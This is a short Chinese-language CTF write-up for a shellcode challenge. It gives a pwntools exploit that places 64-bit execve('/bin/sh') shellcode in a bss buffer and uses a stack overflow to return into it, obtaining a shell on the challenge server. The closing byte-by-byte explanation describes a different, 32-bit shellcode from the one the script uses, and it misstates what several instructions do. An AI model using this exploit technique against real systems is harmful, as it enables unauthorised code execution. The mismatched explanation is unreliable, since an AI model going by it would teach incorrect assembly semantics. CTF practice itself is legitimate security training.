第一次作shellcode的题
file 64位
checksec
有两个read函数
看一下name
发现在bss段,可执行片段
from pwn import *
p = remote("node4.anna.nssctf.cn",28710)
name_addr= 0x6010a0
shellcode="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
Payload = b'a'*(0xa+8)+p64(name_addr)
#向name里面输入shellcode,然后通过栈溢出返回name执行shellcode
#需要注意的是shellcode的大小必须在0x25以内。可以自己手打,可以在shell-storm找,也可以问chatgpt
p.sendlineafter("Please.",shellcode)
p.sendlineafter("start!",Payload)
p.interactive()
shellcode是一个经典的 Linux/x86 的 32 位短字节 Shellcode,用于执行一个系统调用。它的功能是执行一个 execve("/bin/sh", NULL, NULL) 系统调用,以获取一个 shell。
下面是每个字节的含义和作用:
\x6a\x0b :将 0x0b(11)压入栈中,该值是 execve 系统调用号
\x58 :将栈顶元素弹出到 EAX 寄存器中,即将系统调用号加载到 EAX
\x99 :将 EDX 设置为用户态,用于标识字符串的终止符号
\x52 :将 EAX 压入栈中,保存起来
\x68\x2f\x2f\x73\x68 :将字符串 "//sh" 压入栈中,即要执行的程序的路径
\x68\x2f\x62\x69\x6e :将字符串 "/bin" 压入栈中,即要执行的程序所在的目录
\x89\xe3 :将 ESP(栈指针)的值保存到 EBX 中,以备后续使用
\x31\xc9 :将 ECX 设置为零,用于 execve 系统调用的参数
\xcd\x80 :触发系统调用,执行 execve("/bin/sh", NULL, NULL)
这段代码的目的是在内存中放置一个字符串 "/bin/sh",然后调用 execve 系统调用以执行该路径下的 shell 程序。